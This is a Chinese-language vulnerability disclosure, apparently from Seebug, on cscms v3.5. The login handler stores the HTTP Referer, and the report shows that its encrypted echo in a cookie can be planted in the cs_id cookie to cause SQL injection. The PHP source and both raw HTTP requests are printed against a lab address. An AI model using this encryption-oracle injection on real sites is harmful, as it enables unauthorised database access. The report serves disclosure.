程氏舞曲CMS某泄露，导致sql注入

### 简要描述： 程氏舞曲CMS某泄露，导致严重问题 ### 详细说明： 这个厂商非常给力，作为白帽子，也非常乐意～！ cookie加密后的字符泄漏。可以替换其他字段，导致SQL等，严重漏洞。 文件：C:\WWW\cscms_v3.5_utf8\app\controllers\open.php ``` //第三方登入入口 public function login() { if(CS_Appmode==2) exit($this->CsdjSkins->Msg_url('第三方登入已经关闭！',Web_Path)); $urldata['log_fhurl']=$_SERVER['HTTP_REFERER'];//泄漏点 $urldata['log_state']=md5(uniqid(rand(), TRUE)); //CSRF protection; $this->session->set_userdata($urldata); $ac = $this->security->xss_clean($this->uri->segment(3)); //方式 $log_url="http://denglu.chshcms.com/denglu?ac=".$ac."&appid=".CS_Appid."&redirect_uri=".site_url("open/callback")."&state=".$urldata['log_state']."&getdate=".time(); header("Location: $log_url"); } ``` 我们提交如下，看一下，程序加密后的字符。 ``` GET /cscms_v3.5_utf8/index.php/open/login/qq HTTP/1.1 Host: 192.168.1.201 User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en Accept-Encoding: gzip,deflate Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: xxoo' ``` [<img src="https://images.seebug.org/upload/201410/221535358221a993c7c33c8dda02005985399df2.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/221535358221a993c7c33c8dda02005985399df2.jpg) 可以看到加密后的字符：log_fhurl=L8kxDzdqKNy9%2F2Qs0g 利用这个功能，加密我们想要的任意代码。 替换其他地方就构成注入。 ``` GET /cscms_v3.5_utf8/index.php/user/ulog/index/user HTTP/1.1 Host: 192.168.1.201 User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en Accept-Encoding: gzip,deflate Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://192.168.1.201/cscms_v3.5_utf8/index.php/user/ Cookie: cs_id=L8kxDzdqKNy9%2F2Qs0g ``` [<img src="https://images.seebug.org/upload/201410/22153809fdb8fe85b53514df19d5d85bd0d550bb.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/22153809fdb8fe85b53514df19d5d85bd0d550bb.jpg) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201410/22153756eefa375950624077e96157d822c686a9.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/22153756eefa375950624077e96157d822c686a9.jpg)
